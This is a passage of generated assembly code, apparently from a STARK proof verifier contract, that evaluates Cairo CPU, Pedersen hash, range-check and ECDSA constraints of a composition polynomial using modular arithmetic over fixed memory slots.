trace_generator^(128 * (trace_length / 128 - 1)). mstore(0x4160, addmod( point, sub(PRIME, /*trace_generator^(128 * (trace_length / 128 - 1))*/ mload(0x3b00)), PRIME)) // Numerator for constraints 'ecdsa/signature0/doubling_key/slope', 'ecdsa/signature0/doubling_key/x', 'ecdsa/signature0/doubling_key/y', 'ecdsa/signature0/exponentiate_key/booleanity_test', 'ecdsa/signature0/exponentiate_key/add_points/slope', 'ecdsa/signature0/exponentiate_key/add_points/x', 'ecdsa/signature0/exponentiate_key/add_points/y', 'ecdsa/signature0/exponentiate_key/add_points/x_diff_inv', 'ecdsa/signature0/exponentiate_key/copy_point/x', 'ecdsa/signature0/exponentiate_key/copy_point/y'. // numerators[7] = point^(trace_length / 4096) - trace_generator^(255 * trace_length / 256). mstore(0x4180, addmod( /*point^(trace_length / 4096)*/ mload(0x39c0), sub(PRIME, /*trace_generator^(255 * trace_length / 256)*/ mload(0x3aa0)), PRIME)) // Numerator for constraints 'ecdsa/signature0/exponentiate_generator/booleanity_test', 'ecdsa/signature0/exponentiate_generator/add_points/slope', 'ecdsa/signature0/exponentiate_generator/add_points/x', 'ecdsa/signature0/exponentiate_generator/add_points/y', 'ecdsa/signature0/exponentiate_generator/add_points/x_diff_inv', 'ecdsa/signature0/exponentiate_generator/copy_point/x', 'ecdsa/signature0/exponentiate_generator/copy_point/y'. // numerators[8] = point^(trace_length / 8192) - trace_generator^(255 * trace_length / 256). mstore(0x41a0, addmod( /*point^(trace_length / 8192)*/ mload(0x3a00), sub(PRIME, /*trace_generator^(255 * trace_length / 256)*/ mload(0x3aa0)), PRIME)) // Numerator for constraints 'ecdsa/pubkey_addr'. // numerators[9] = point - trace_generator^(8192 * (trace_length / 8192 - 1)). mstore(0x41c0, addmod( point, sub(PRIME, /*trace_generator^(8192 * (trace_length / 8192 - 1))*/ mload(0x3b40)), PRIME)) } { // Compute the result of the composition polynomial. { // cpu/decode/opcode_rc/bit_0 = column1_row0 - (column1_row1 + column1_row1). let val := addmod( /*column1_row0*/ mload(0x1be0), sub( PRIME, addmod(/*column1_row1*/ mload(0x1c00), /*column1_row1*/ mload(0x1c00), PRIME)), PRIME) mstore(0x3380, val) } { // cpu/decode/opcode_rc/bit_2 = column1_row2 - (column1_row3 + column1_row3). let val := addmod( /*column1_row2*/ mload(0x1c20), sub( PRIME, addmod(/*column1_row3*/ mload(0x1c40), /*column1_row3*/ mload(0x1c40), PRIME)), PRIME) mstore(0x33a0, val) } { // cpu/decode/opcode_rc/bit_4 = column1_row4 - (column1_row5 + column1_row5). let val := addmod( /*column1_row4*/ mload(0x1c60), sub( PRIME, addmod(/*column1_row5*/ mload(0x1c80), /*column1_row5*/ mload(0x1c80), PRIME)), PRIME) mstore(0x33c0, val) } { // cpu/decode/opcode_rc/bit_3 = column1_row3 - (column1_row4 + column1_row4). let val := addmod( /*column1_row3*/ mload(0x1c40), sub( PRIME, addmod(/*column1_row4*/ mload(0x1c60), /*column1_row4*/ mload(0x1c60), PRIME)), PRIME) mstore(0x33e0, val) } { // cpu/decode/flag_op1_base_op0_0 = 1 - (cpu__decode__opcode_rc__bit_2 + cpu__decode__opcode_rc__bit_4 + cpu__decode__opcode_rc__bit_3). let val := addmod( 1, sub( PRIME, addmod( addmod( /*intermediate_value/cpu/decode/opcode_rc/bit_2*/ mload(0x33a0), /*intermediate_value/cpu/decode/opcode_rc/bit_4*/ mload(0x33c0), PRIME), /*intermediate_value/cpu/decode/opcode_rc/bit_3*/ mload(0x33e0), PRIME)), PRIME) mstore(0x3400, val) } { // cpu/decode/opcode_rc/bit_5 = column1_row5 - (column1_row6 + column1_row6). let val := addmod( /*column1_row5*/ mload(0x1c80), sub( PRIME, addmod(/*column1_row6*/ mload(0x1ca0), /*column1_row6*/ mload(0x1ca0), PRIME)), PRIME) mstore(0x3420, val) } { // cpu/decode/opcode_rc/bit_6 = column1_row6 - (column1_row7 + column1_row7). let val := addmod( /*column1_row6*/ mload(0x1ca0), sub( PRIME, addmod(/*column1_row7*/ mload(0x1cc0), /*column1_row7*/ mload(0x1cc0), PRIME)), PRIME) mstore(0x3440, val) } { // cpu/decode/opcode_rc/bit_9 = column1_row9 - (column1_row10 + column1_row10). let val := addmod( /*column1_row9*/ mload(0x1d00), sub( PRIME, addmod(/*column1_row10*/ mload(0x1d20), /*column1_row10*/ mload(0x1d20), PRIME)), PRIME) mstore(0x3460, val) } { // cpu/decode/flag_res_op1_0 = 1 - (cpu__decode__opcode_rc__bit_5 + cpu__decode__opcode_rc__bit_6 + cpu__decode__opcode_rc__bit_9). let val := addmod( 1, sub( PRIME, addmod( addmod( /*intermediate_value/cpu/decode/opcode_rc/bit_5*/ mload(0x3420), /*intermediate_value/cpu/decode/opcode_rc/bit_6*/ mload(0x3440), PRIME), /*intermediate_value/cpu/decode/opcode_rc/bit_9*/ mload(0x3460), PRIME)), PRIME) mstore(0x3480, val) } { // cpu/decode/opcode_rc/bit_7 = column1_row7 - (column1_row8 + column1_row8). let val := addmod( /*column1_row7*/ mload(0x1cc0), sub( PRIME, addmod(/*column1_row8*/ mload(0x1ce0), /*column1_row8*/ mload(0x1ce0), PRIME)), PRIME) mstore(0x34a0, val) } { // cpu/decode/opcode_rc/bit_8 = column1_row8 - (column1_row9 + column1_row9). let val := addmod( /*column1_row8*/ mload(0x1ce0), sub( PRIME, addmod(/*column1_row9*/ mload(0x1d00), /*column1_row9*/ mload(0x1d00), PRIME)), PRIME) mstore(0x34c0, val) } { // cpu/decode/flag_pc_update_regular_0 = 1 - (cpu__decode__opcode_rc__bit_7 + cpu__decode__opcode_rc__bit_8 + cpu__decode__opcode_rc__bit_9). let val := addmod( 1, sub( PRIME, addmod( addmod( /*intermediate_value/cpu/decode/opcode_rc/bit_7*/ mload(0x34a0), /*intermediate_value/cpu/decode/opcode_rc/bit_8*/ mload(0x34c0), PRIME), /*intermediate_value/cpu/decode/opcode_rc/bit_9*/ mload(0x3460), PRIME)), PRIME) mstore(0x34e0, val) } { // cpu/decode/opcode_rc/bit_12 = column1_row12 - (column1_row13 + column1_row13). let val := addmod( /*column1_row12*/ mload(0x1d60), sub( PRIME, addmod(/*column1_row13*/ mload(0x1d80), /*column1_row13*/ mload(0x1d80), PRIME)), PRIME) mstore(0x3500, val) } { // cpu/decode/opcode_rc/bit_13 = column1_row13 - (column1_row14 + column1_row14). let val := addmod( /*column1_row13*/ mload(0x1d80), sub( PRIME, addmod(/*column1_row14*/ mload(0x1da0), /*column1_row14*/ mload(0x1da0), PRIME)), PRIME) mstore(0x3520, val) } { // cpu/decode/fp_update_regular_0 = 1 - (cpu__decode__opcode_rc__bit_12 + cpu__decode__opcode_rc__bit_13). let val := addmod( 1, sub( PRIME, addmod( /*intermediate_value/cpu/decode/opcode_rc/bit_12*/ mload(0x3500), /*intermediate_value/cpu/decode/opcode_rc/bit_13*/ mload(0x3520), PRIME)), PRIME) mstore(0x3540, val) } { // cpu/decode/opcode_rc/bit_1 = column1_row1 - (column1_row2 + column1_row2). let val := addmod( /*column1_row1*/ mload(0x1c00), sub( PRIME, addmod(/*column1_row2*/ mload(0x1c20), /*column1_row2*/ mload(0x1c20), PRIME)), PRIME) mstore(0x3560, val) } { // npc_reg_0 = column19_row0 + cpu__decode__opcode_rc__bit_2 + 1. let val := addmod( addmod( /*column19_row0*/ mload(0x2820), /*intermediate_value/cpu/decode/opcode_rc/bit_2*/ mload(0x33a0), PRIME), 1, PRIME) mstore(0x3580, val) } { // cpu/decode/opcode_rc/bit_10 = column1_row10 - (column1_row11 + column1_row11). let val := addmod( /*column1_row10*/ mload(0x1d20), sub( PRIME, addmod(/*column1_row11*/ mload(0x1d40), /*column1_row11*/ mload(0x1d40), PRIME)), PRIME) mstore(0x35a0, val) } { // cpu/decode/opcode_rc/bit_11 = column1_row11 - (column1_row12 + column1_row12). let val := addmod( /*column1_row11*/ mload(0x1d40), sub( PRIME, addmod(/*column1_row12*/ mload(0x1d60), /*column1_row12*/ mload(0x1d60), PRIME)), PRIME) mstore(0x35c0, val) } { // cpu/decode/opcode_rc/bit_14 = column1_row14 - (column1_row15 + column1_row15). let val := addmod( /*column1_row14*/ mload(0x1da0), sub( PRIME, addmod(/*column1_row15*/ mload(0x1dc0), /*column1_row15*/ mload(0x1dc0), PRIME)), PRIME) mstore(0x35e0, val) } { // memory/address_diff_0 = column20_row2 - column20_row0. let val := addmod(/*column20_row2*/ mload(0x2cc0), sub(PRIME, /*column20_row0*/ mload(0x2c80)), PRIME) mstore(0x3600, val) } { // rc16/diff_0 = column2_row1 - column2_row0. let val := addmod(/*column2_row1*/ mload(0x1e00), sub(PRIME, /*column2_row0*/ mload(0x1de0)), PRIME) mstore(0x3620, val) } { // pedersen/hash0/ec_subset_sum/bit_0 = column6_row0 - (column6_row1 + column6_row1). let val := addmod( /*column6_row0*/ mload(0x1f80), sub( PRIME, addmod(/*column6_row1*/ mload(0x1fa0), /*column6_row1*/ mload(0x1fa0), PRIME)), PRIME) mstore(0x3640, val) } { // pedersen/hash0/ec_subset_sum/bit_neg_0 = 1 - pedersen__hash0__ec_subset_sum__bit_0. let val := addmod( 1, sub(PRIME, /*intermediate_value/pedersen/hash0/ec_subset_sum/bit_0*/ mload(0x3640)), PRIME) mstore(0x3660, val) } { // pedersen/hash1/ec_subset_sum/bit_0 = column10_row0 - (column10_row1 + column10_row1). let val := addmod( /*column10_row0*/ mload(0x2200), sub( PRIME, addmod(/*column10_row1*/ mload(0x2220), /*column10_row1*/ mload(0x2220), PRIME)), PRIME) mstore(0x3680, val) } { // pedersen/hash1/ec_subset_sum/bit_neg_0 = 1 - pedersen__hash1__ec_subset_sum__bit_0. let val := addmod( 1, sub(PRIME, /*intermediate_value/pedersen/hash1/ec_subset_sum/bit_0*/ mload(0x3680)), PRIME) mstore(0x36a0, val) } { // pedersen/hash2/ec_subset_sum/bit_0 = column14_row0 - (column14_row1 + column14_row1). let val := addmod( /*column14_row0*/ mload(0x2480), sub( PRIME, addmod(/*column14_row1*/ mload(0x24a0), /*column14_row1*/ mload(0x24a0), PRIME)), PRIME) mstore(0x36c0, val) } { // pedersen/hash2/ec_subset_sum/bit_neg_0 = 1 - pedersen__hash2__ec_subset_sum__bit_0. let val := addmod( 1, sub(PRIME, /*intermediate_value/pedersen/hash2/ec_subset_sum/bit_0*/ mload(0x36c0)), PRIME) mstore(0x36e0, val) } { // pedersen/hash3/ec_subset_sum/bit_0 = column18_row0 - (column18_row1 + column18_row1). let val := addmod( /*column18_row0*/ mload(0x2700), sub( PRIME, addmod(/*column18_row1*/ mload(0x2720), /*column18_row1*/ mload(0x2720), PRIME)), PRIME) mstore(0x3700, val) } { // pedersen/hash3/ec_subset_sum/bit_neg_0 = 1 - pedersen__hash3__ec_subset_sum__bit_0. let val := addmod( 1, sub(PRIME, /*intermediate_value/pedersen/hash3/ec_subset_sum/bit_0*/ mload(0x3700)), PRIME) mstore(0x3720, val) } { // rc_builtin/value0_0 = column0_row12. let val := /*column0_row12*/ mload(0x1ae0) mstore(0x3740, val) } { // rc_builtin/value1_0 = rc_builtin__value0_0 * offset_size + column0_row28. let val := addmod( mulmod( /*intermediate_value/rc_builtin/value0_0*/ mload(0x3740), /*offset_size*/ mload(0xa0), PRIME), /*column0_row28*/ mload(0x1b00), PRIME) mstore(0x3760, val) } { // rc_builtin/value2_0 = rc_builtin__value1_0 * offset_size + column0_row44. let val := addmod( mulmod( /*intermediate_value/rc_builtin/value1_0*/ mload(0x3760), /*offset_size*/ mload(0xa0), PRIME), /*column0_row44*/ mload(0x1b20), PRIME) mstore(0x3780, val) } { // rc_builtin/value3_0 = rc_builtin__value2_0 * offset_size + column0_row60. let val := addmod( mulmod( /*intermediate_value/rc_builtin/value2_0*/ mload(0x3780), /*offset_size*/ mload(0xa0), PRIME), /*column0_row60*/ mload(0x1b40), PRIME) mstore(0x37a0, val) } { // rc_builtin/value4_0 = rc_builtin__value3_0 * offset_size + column0_row76. let val := addmod( mulmod( /*intermediate_value/rc_builtin/value3_0*/ mload(0x37a0), /*offset_size*/ mload(0xa0), PRIME), /*column0_row76*/ mload(0x1b60), PRIME) mstore(0x37c0, val) } { // rc_builtin/value5_0 = rc_builtin__value4_0 * offset_size + column0_row92. let val := addmod( mulmod( /*intermediate_value/rc_builtin/value4_0*/ mload(0x37c0), /*offset_size*/ mload(0xa0), PRIME), /*column0_row92*/ mload(0x1b80), PRIME) mstore(0x37e0, val) } { // rc_builtin/value6_0 = rc_builtin__value5_0 * offset_size + column0_row108. let val := addmod( mulmod( /*intermediate_value/rc_builtin/value5_0*/ mload(0x37e0), /*offset_size*/ mload(0xa0), PRIME), /*column0_row108*/ mload(0x1ba0), PRIME) mstore(0x3800, val) } { // rc_builtin/value7_0 = rc_builtin__value6_0 * offset_size + column0_row124. let val := addmod( mulmod( /*intermediate_value/rc_builtin/value6_0*/ mload(0x3800), /*offset_size*/ mload(0xa0), PRIME), /*column0_row124*/ mload(0x1bc0), PRIME) mstore(0x3820, val) } { // ecdsa/signature0/doubling_key/x_squared = column21_row6 * column21_row6. let val := mulmod(/*column21_row6*/ mload(0x2dc0), /*column21_row6*/ mload(0x2dc0), PRIME) mstore(0x3840, val) } { // ecdsa/signature0/exponentiate_generator/bit_0 = column21_row31 - (column21_row63 + column21_row63). let val := addmod( /*column21_row31*/ mload(0x3000), sub( PRIME, addmod(/*column21_row63*/ mload(0x3060), /*column21_row63*/ mload(0x3060), PRIME)), PRIME) mstore(0x3860, val) } { // ecdsa/signature0/exponentiate_generator/bit_neg_0 = 1 - ecdsa__signature0__exponentiate_generator__bit_0. let val := addmod( 1, sub( PRIME, /*intermediate_value/ecdsa/signature0/exponentiate_generator/bit_0*/ mload(0x3860)), PRIME) mstore(0x3880, val) } { // ecdsa/signature0/exponentiate_key/bit_0 = column21_row3 - (column21_row19 + column21_row19). let val := addmod( /*column21_row3*/ mload(0x2d60), sub( PRIME, addmod(/*column21_row19*/ mload(0x2f20), /*column21_row19*/ mload(0x2f20), PRIME)), PRIME) mstore(0x38a0, val) } { // ecdsa/signature0/exponentiate_key/bit_neg_0 = 1 - ecdsa__signature0__exponentiate_key__bit_0. let val := addmod( 1, sub( PRIME, /*intermediate_value/ecdsa/signature0/exponentiate_key/bit_0*/ mload(0x38a0)), PRIME) mstore(0x38c0, val) } { // Constraint expression for cpu/decode/opcode_rc/bit: cpu__decode__opcode_rc__bit_0 * cpu__decode__opcode_rc__bit_0 - cpu__decode__opcode_rc__bit_0. let val := addmod( mulmod( /*intermediate_value/cpu/decode/opcode_rc/bit_0*/ mload(0x3380), /*intermediate_value/cpu/decode/opcode_rc/bit_0*/ mload(0x3380), PRIME), sub(PRIME, /*intermediate_value/cpu/decode/opcode_rc/bit_0*/ mload(0x3380)), PRIME) // Numerator: point^(trace_length / 16) - trace_generator^(15 * trace_length / 16). // val *= numerators[0]. val := mulmod(val, mload(0x40a0), PRIME) // Denominator: point^trace_length - 1. // val *= denominator_invs[0]. val := mulmod(val, mload(0x3b60), PRIME) // res += val * coefficients[0]. res := addmod(res, mulmod(val, /*coefficients[0]*/ mload(0x400), PRIME), PRIME) } { // Constraint expression for cpu/decode/opcode_rc/zero: column1_row0. let val := /*column1_row0*/ mload(0x1be0) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 16) - trace_generator^(15 * trace_length / 16). // val *= denominator_invs[1]. val := mulmod(val, mload(0x3b80), PRIME) // res += val * coefficients[1]. res := addmod(res, mulmod(val, /*coefficients[1]*/ mload(0x420), PRIME), PRIME) } { // Constraint expression for cpu/decode/opcode_rc_input: column19_row1 - (((column1_row0 * offset_size + column0_row4) * offset_size + column0_row8) * offset_size + column0_row0). let val := addmod( /*column19_row1*/ mload(0x2840), sub( PRIME, addmod( mulmod( addmod( mulmod( addmod( mulmod(/*column1_row0*/ mload(0x1be0), /*offset_size*/ mload(0xa0), PRIME), /*column0_row4*/ mload(0x1aa0), PRIME), /*offset_size*/ mload(0xa0), PRIME), /*column0_row8*/ mload(0x1ac0), PRIME), /*offset_size*/ mload(0xa0), PRIME), /*column0_row0*/ mload(0x1a60), PRIME)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 16) - 1. // val *= denominator_invs[2]. val := mulmod(val, mload(0x3ba0), PRIME) // res += val * coefficients[2]. res := addmod(res, mulmod(val, /*coefficients[2]*/ mload(0x440), PRIME), PRIME) } { // Constraint expression for cpu/decode/flag_op1_base_op0_bit: cpu__decode__flag_op1_base_op0_0 * cpu__decode__flag_op1_base_op0_0 - cpu__decode__flag_op1_base_op0_0. let val := addmod( mulmod( /*intermediate_value/cpu/decode/flag_op1_base_op0_0*/ mload(0x3400), /*intermediate_value/cpu/decode/flag_op1_base_op0_0*/ mload(0x3400), PRIME), sub(PRIME, /*intermediate_value/cpu/decode/flag_op1_base_op0_0*/ mload(0x3400)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 16) - 1. // val *= denominator_invs[2]. val := mulmod(val, mload(0x3ba0), PRIME) // res += val * coefficients[3]. res := addmod(res, mulmod(val, /*coefficients[3]*/ mload(0x460), PRIME), PRIME) } { // Constraint expression for cpu/decode/flag_res_op1_bit: cpu__decode__flag_res_op1_0 * cpu__decode__flag_res_op1_0 - cpu__decode__flag_res_op1_0. let val := addmod( mulmod( /*intermediate_value/cpu/decode/flag_res_op1_0*/ mload(0x3480), /*intermediate_value/cpu/decode/flag_res_op1_0*/ mload(0x3480), PRIME), sub(PRIME, /*intermediate_value/cpu/decode/flag_res_op1_0*/ mload(0x3480)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 16) - 1. // val *= denominator_invs[2]. val := mulmod(val, mload(0x3ba0), PRIME) // res += val * coefficients[4]. res := addmod(res, mulmod(val, /*coefficients[4]*/ mload(0x480), PRIME), PRIME) } { // Constraint expression for cpu/decode/flag_pc_update_regular_bit: cpu__decode__flag_pc_update_regular_0 * cpu__decode__flag_pc_update_regular_0 - cpu__decode__flag_pc_update_regular_0. let val := addmod( mulmod( /*intermediate_value/cpu/decode/flag_pc_update_regular_0*/ mload(0x34e0), /*intermediate_value/cpu/decode/flag_pc_update_regular_0*/ mload(0x34e0), PRIME), sub(PRIME, /*intermediate_value/cpu/decode/flag_pc_update_regular_0*/ mload(0x34e0)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 16) - 1. // val *= denominator_invs[2]. val := mulmod(val, mload(0x3ba0), PRIME) // res += val * coefficients[5]. res := addmod(res, mulmod(val, /*coefficients[5]*/ mload(0x4a0), PRIME), PRIME) } { // Constraint expression for cpu/decode/fp_update_regular_bit: cpu__decode__fp_update_regular_0 * cpu__decode__fp_update_regular_0 - cpu__decode__fp_update_regular_0. let val := addmod( mulmod( /*intermediate_value/cpu/decode/fp_update_regular_0*/ mload(0x3540), /*intermediate_value/cpu/decode/fp_update_regular_0*/ mload(0x3540), PRIME), sub(PRIME, /*intermediate_value/cpu/decode/fp_update_regular_0*/ mload(0x3540)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 16) - 1. // val *= denominator_invs[2]. val := mulmod(val, mload(0x3ba0), PRIME) // res += val * coefficients[6]. res := addmod(res, mulmod(val, /*coefficients[6]*/ mload(0x4c0), PRIME), PRIME) } { // Constraint expression for cpu/operands/mem_dst_addr: column19_row8 + half_offset_size - (cpu__decode__opcode_rc__bit_0 * column21_row8 + (1 - cpu__decode__opcode_rc__bit_0) * column21_row0 + column0_row0). let val := addmod( addmod(/*column19_row8*/ mload(0x2920), /*half_offset_size*/ mload(0xc0), PRIME), sub( PRIME, addmod( addmod( mulmod( /*intermediate_value/cpu/decode/opcode_rc/bit_0*/ mload(0x3380), /*column21_row8*/ mload(0x2e00), PRIME), mulmod( addmod( 1, sub(PRIME, /*intermediate_value/cpu/decode/opcode_rc/bit_0*/ mload(0x3380)), PRIME), /*column21_row0*/ mload(0x2d00), PRIME), PRIME), /*column0_row0*/ mload(0x1a60), PRIME)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 16) - 1. // val *= denominator_invs[2]. val := mulmod(val, mload(0x3ba0), PRIME) // res += val * coefficients[7]. res := addmod(res, mulmod(val, /*coefficients[7]*/ mload(0x4e0), PRIME), PRIME) } { // Constraint expression for cpu/operands/mem0_addr: column19_row4 + half_offset_size - (cpu__decode__opcode_rc__bit_1 * column21_row8 + (1 - cpu__decode__opcode_rc__bit_1) * column21_row0 + column0_row8). let val := addmod( addmod(/*column19_row4*/ mload(0x28a0), /*half_offset_size*/ mload(0xc0), PRIME), sub( PRIME, addmod( addmod( mulmod( /*intermediate_value/cpu/decode/opcode_rc/bit_1*/ mload(0x3560), /*column21_row8*/ mload(0x2e00), PRIME), mulmod( addmod( 1, sub(PRIME, /*intermediate_value/cpu/decode/opcode_rc/bit_1*/ mload(0x3560)), PRIME), /*column21_row0*/ mload(0x2d00), PRIME), PRIME), /*column0_row8*/ mload(0x1ac0), PRIME)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 16) - 1. // val *= denominator_invs[2]. val := mulmod(val, mload(0x3ba0), PRIME) // res += val * coefficients[8]. res := addmod(res, mulmod(val, /*coefficients[8]*/ mload(0x500), PRIME), PRIME) } { // Constraint expression for cpu/operands/mem1_addr: column19_row12 + half_offset_size - (cpu__decode__opcode_rc__bit_2 * column19_row0 + cpu__decode__opcode_rc__bit_4 * column21_row0 + cpu__decode__opcode_rc__bit_3 * column21_row8 + cpu__decode__flag_op1_base_op0_0 * column19_row5 + column0_row4). let val := addmod( addmod(/*column19_row12*/ mload(0x2960), /*half_offset_size*/ mload(0xc0), PRIME), sub( PRIME, addmod( addmod( addmod( addmod( mulmod( /*intermediate_value/cpu/decode/opcode_rc/bit_2*/ mload(0x33a0), /*column19_row0*/ mload(0x2820), PRIME), mulmod( /*intermediate_value/cpu/decode/opcode_rc/bit_4*/ mload(0x33c0), /*column21_row0*/ mload(0x2d00), PRIME), PRIME), mulmod( /*intermediate_value/cpu/decode/opcode_rc/bit_3*/ mload(0x33e0), /*column21_row8*/ mload(0x2e00), PRIME), PRIME), mulmod( /*intermediate_value/cpu/decode/flag_op1_base_op0_0*/ mload(0x3400), /*column19_row5*/ mload(0x28c0), PRIME), PRIME), /*column0_row4*/ mload(0x1aa0), PRIME)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 16) - 1. // val *= denominator_invs[2]. val := mulmod(val, mload(0x3ba0), PRIME) // res += val * coefficients[9]. res := addmod(res, mulmod(val, /*coefficients[9]*/ mload(0x520), PRIME), PRIME) } { // Constraint expression for cpu/operands/ops_mul: column21_row4 - column19_row5 * column19_row13. let val := addmod( /*column21_row4*/ mload(0x2d80), sub( PRIME, mulmod(/*column19_row5*/ mload(0x28c0), /*column19_row13*/ mload(0x2980), PRIME)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 16) - 1. // val *= denominator_invs[2]. val := mulmod(val, mload(0x3ba0), PRIME) // res += val * coefficients[10]. res := addmod(res, mulmod(val, /*coefficients[10]*/ mload(0x540), PRIME), PRIME) } { // Constraint expression for cpu/operands/res: (1 - cpu__decode__opcode_rc__bit_9) * column21_row12 - (cpu__decode__opcode_rc__bit_5 * (column19_row5 + column19_row13) + cpu__decode__opcode_rc__bit_6 * column21_row4 + cpu__decode__flag_res_op1_0 * column19_row13). let val := addmod( mulmod( addmod( 1, sub(PRIME, /*intermediate_value/cpu/decode/opcode_rc/bit_9*/ mload(0x3460)), PRIME), /*column21_row12*/ mload(0x2e80), PRIME), sub( PRIME, addmod( addmod( mulmod( /*intermediate_value/cpu/decode/opcode_rc/bit_5*/ mload(0x3420), addmod(/*column19_row5*/ mload(0x28c0), /*column19_row13*/ mload(0x2980), PRIME), PRIME), mulmod( /*intermediate_value/cpu/decode/opcode_rc/bit_6*/ mload(0x3440), /*column21_row4*/ mload(0x2d80), PRIME), PRIME), mulmod( /*intermediate_value/cpu/decode/flag_res_op1_0*/ mload(0x3480), /*column19_row13*/ mload(0x2980), PRIME), PRIME)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 16) - 1. // val *= denominator_invs[2]. val := mulmod(val, mload(0x3ba0), PRIME) // res += val * coefficients[11]. res := addmod(res, mulmod(val, /*coefficients[11]*/ mload(0x560), PRIME), PRIME) } { // Constraint expression for cpu/update_registers/update_pc/tmp0: column21_row2 - cpu__decode__opcode_rc__bit_9 * column19_row9. let val := addmod( /*column21_row2*/ mload(0x2d40), sub( PRIME, mulmod( /*intermediate_value/cpu/decode/opcode_rc/bit_9*/ mload(0x3460), /*column19_row9*/ mload(0x2940), PRIME)), PRIME) // Numerator: point - trace_generator^(16 * (trace_length / 16 - 1)). // val *= numerators[1]. val := mulmod(val, mload(0x40c0), PRIME) // Denominator: point^(trace_length / 16) - 1. // val *= denominator_invs[2]. val := mulmod(val, mload(0x3ba0), PRIME) // res += val * coefficients[12]. res := addmod(res, mulmod(val, /*coefficients[12]*/ mload(0x580), PRIME), PRIME) } { // Constraint expression for cpu/update_registers/update_pc/tmp1: column21_row10 - column21_row2 * column21_row12. let val := addmod( /*column21_row10*/ mload(0x2e40), sub( PRIME, mulmod(/*column21_row2*/ mload(0x2d40), /*column21_row12*/ mload(0x2e80), PRIME)), PRIME) // Numerator: point - trace_generator^(16 * (trace_length / 16 - 1)). // val *= numerators[1]. val := mulmod(val, mload(0x40c0), PRIME) // Denominator: point^(trace_length / 16) - 1. // val *= denominator_invs[2]. val := mulmod(val, mload(0x3ba0), PRIME) // res += val * coefficients[13]. res := addmod(res, mulmod(val, /*coefficients[13]*/ mload(0x5a0), PRIME), PRIME) } { // Constraint expression for cpu/update_registers/update_pc/pc_cond_negative: (1 - cpu__decode__opcode_rc__bit_9) * column19_row16 + column21_row2 * (column19_row16 - (column19_row0 + column19_row13)) - (cpu__decode__flag_pc_update_regular_0 * npc_reg_0 + cpu__decode__opcode_rc__bit_7 * column21_row12 + cpu__decode__opcode_rc__bit_8 * (column19_row0 + column21_row12)). let val := addmod( addmod( mulmod( addmod( 1, sub(PRIME, /*intermediate_value/cpu/decode/opcode_rc/bit_9*/ mload(0x3460)), PRIME), /*column19_row16*/ mload(0x29a0), PRIME), mulmod( /*column21_row2*/ mload(0x2d40), addmod( /*column19_row16*/ mload(0x29a0), sub( PRIME, addmod(/*column19_row0*/ mload(0x2820), /*column19_row13*/ mload(0x2980), PRIME)), PRIME), PRIME), PRIME), sub( PRIME, addmod( addmod( mulmod( /*intermediate_value/cpu/decode/flag_pc_update_regular_0*/ mload(0x34e0), /*intermediate_value/npc_reg_0*/ mload(0x3580), PRIME), mulmod( /*intermediate_value/cpu/decode/opcode_rc/bit_7*/ mload(0x34a0), /*column21_row12*/ mload(0x2e80), PRIME), PRIME), mulmod( /*intermediate_value/cpu/decode/opcode_rc/bit_8*/ mload(0x34c0), addmod(/*column19_row0*/ mload(0x2820), /*column21_row12*/ mload(0x2e80), PRIME), PRIME), PRIME)), PRIME) // Numerator: point - trace_generator^(16 * (trace_length / 16 - 1)). // val *= numerators[1]. val := mulmod(val, mload(0x40c0), PRIME) // Denominator: point^(trace_length / 16) - 1. // val *= denominator_invs[2]. val := mulmod(val, mload(0x3ba0), PRIME) // res += val * coefficients[14]. res := addmod(res, mulmod(val, /*coefficients[14]*/ mload(0x5c0), PRIME), PRIME) } { // Constraint expression for cpu/update_registers/update_pc/pc_cond_positive: (column21_row10 - cpu__decode__opcode_rc__bit_9) * (column19_row16 - npc_reg_0). let val := mulmod( addmod( /*column21_row10*/ mload(0x2e40), sub(PRIME, /*intermediate_value/cpu/decode/opcode_rc/bit_9*/ mload(0x3460)), PRIME), addmod( /*column19_row16*/ mload(0x29a0), sub(PRIME, /*intermediate_value/npc_reg_0*/ mload(0x3580)), PRIME), PRIME) // Numerator: point - trace_generator^(16 * (trace_length / 16 - 1)). // val *= numerators[1]. val := mulmod(val, mload(0x40c0), PRIME) // Denominator: point^(trace_length / 16) - 1. // val *= denominator_invs[2]. val := mulmod(val, mload(0x3ba0), PRIME) // res += val * coefficients[15]. res := addmod(res, mulmod(val, /*coefficients[15]*/ mload(0x5e0), PRIME), PRIME) } { // Constraint expression for cpu/update_registers/update_ap/ap_update: column21_row16 - (column21_row0 + cpu__decode__opcode_rc__bit_10 * column21_row12 + cpu__decode__opcode_rc__bit_11 + cpu__decode__opcode_rc__bit_12 * 2). let val := addmod( /*column21_row16*/ mload(0x2f00), sub( PRIME, addmod( addmod( addmod( /*column21_row0*/ mload(0x2d00), mulmod( /*intermediate_value/cpu/decode/opcode_rc/bit_10*/ mload(0x35a0), /*column21_row12*/ mload(0x2e80), PRIME), PRIME), /*intermediate_value/cpu/decode/opcode_rc/bit_11*/ mload(0x35c0), PRIME), mulmod(/*intermediate_value/cpu/decode/opcode_rc/bit_12*/ mload(0x3500), 2, PRIME), PRIME)), PRIME) // Numerator: point - trace_generator^(16 * (trace_length / 16 - 1)). // val *= numerators[1]. val := mulmod(val, mload(0x40c0), PRIME) // Denominator: point^(trace_length / 16) - 1. // val *= denominator_invs[2]. val := mulmod(val, mload(0x3ba0), PRIME) // res += val * coefficients[16]. res := addmod(res, mulmod(val, /*coefficients[16]*/ mload(0x600), PRIME), PRIME) } { // Constraint expression for cpu/update_registers/update_fp/fp_update: column21_row24 - 